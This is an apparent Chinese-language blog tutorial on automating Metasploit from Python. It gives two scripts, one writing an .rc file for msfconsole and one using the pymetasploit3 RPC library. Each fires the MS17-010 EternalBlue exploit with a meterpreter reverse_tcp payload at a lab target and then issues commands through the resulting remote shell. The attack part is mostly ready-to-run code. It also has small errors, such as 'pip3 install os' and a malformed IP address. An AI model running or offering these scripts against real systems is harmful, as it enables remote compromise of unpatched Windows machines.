cluren's Studio.

Python调用Metasploit实现自动化漏洞利用

字数统计: 486阅读时长: 2 min
2020/06/07

这里介绍两种使用python来操控metasploit的方法,一种是python调用系统命令来实现,另一只是使用pymetasploit3库来实现。

0x01 Python调用系统命令来控制

第一种方法是将参数信息写入.rc后缀的文件中,利用os库,调用sysytem()函数来执行msfconsole,利用msfconsole -r参数接文件来进行实现。

安装os库:

1
pip3 install os

以ms17_010为例,kali ip:192.168.129 目标ip:192.168.1.128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import os

def Handler(configFile, lhost, lport, rhost): #漏洞利用参数写入文件

configFile.write('use exploit/windows/smb/ms17_010_eternalblue\n')

configFile.write('set payload windows/x64/meterpreter/reverse_tcp\n')

configFile.write('set LPORT ' + str(lport) + '\n')

configFile.write('set LHOST ' + str(lhost) + '\n')

configFile.write('set RHOST ' + str(rhost) + '\n')

configFile.write('exploit\n')

def main():

rhost = '192.168.1.128'

configFile = open('ms17_010.rc', 'w')

lhost = '192.168.1.129'

lport = 4444

Handler(configFile, lhost, lport, rhost)

configFile.close()

print('开始metasploitl利用:')

os.system('msfconsole -q -r ms17_010.rc')

main()

0x02 Pymetasploit3库实现

第二种方法是直接用Pymetasploit库来对metasploit进行操作,这种方法需要开启msfrpcd服务或者在msfconsole中打开msgrpc插件。

参考文档: https://github.com/DanMcInerney/pymetasploit3

安装

1
2
pipenv install --three pymetasploit3
pipenv shell

或者

1
pip3 install --user pymetasploit3

连接

连接到metasploit需要打开PRC服务,方法如下:

在终端中:

1
$ msfrpcd -P yourpassword -S

连接代码

1
2
>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', ssl=True)

或者在msfconsole中:

1
2
$ msfconsole
msf> load msgrpc [Pass=yourpassword]

连接代码

1
2
>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552, True)

示例

以ms17_010为例,kali ip:192.168.129 目标ip:192.168.1.128

1
2
3
4
5
6
7
8
9
10
11
12
13
from pymetasploit3.msfrpc import MsfRpcClient # 连接metasploit
client = MsfRpcClient('password')

exploit = client.modules.use('exploit', 'windows/smb/ms17_010_eternalblue') # 配置exploit的参数
exploit['RHOSTS'] = '192.168.1.128'
payload = client.modules.use('payload', 'windows/x64/meterpreter/reverse_tcp') # 配置payload的参数
payload['LHOST'] = '192.168.1.129'
payload['LPORT'] = 4444
exploit.execute(payload=payload) # 开始攻击

shell = client.sessions.session('1') # 拿到获取到session的shell
shell.write('pwd') # 操控session的shell
print(shell.read()) # 查看操作后的结果

可以同时调用nmap、nessus等,实现自动化漏洞利用。

CATALOG
  1. 1. 0x01 Python调用系统命令来控制
  2. 2. 0x02 Pymetasploit3库实现
    1. 2.0.1. 安装
    2. 2.0.2. 连接
    3. 2.0.3. 示例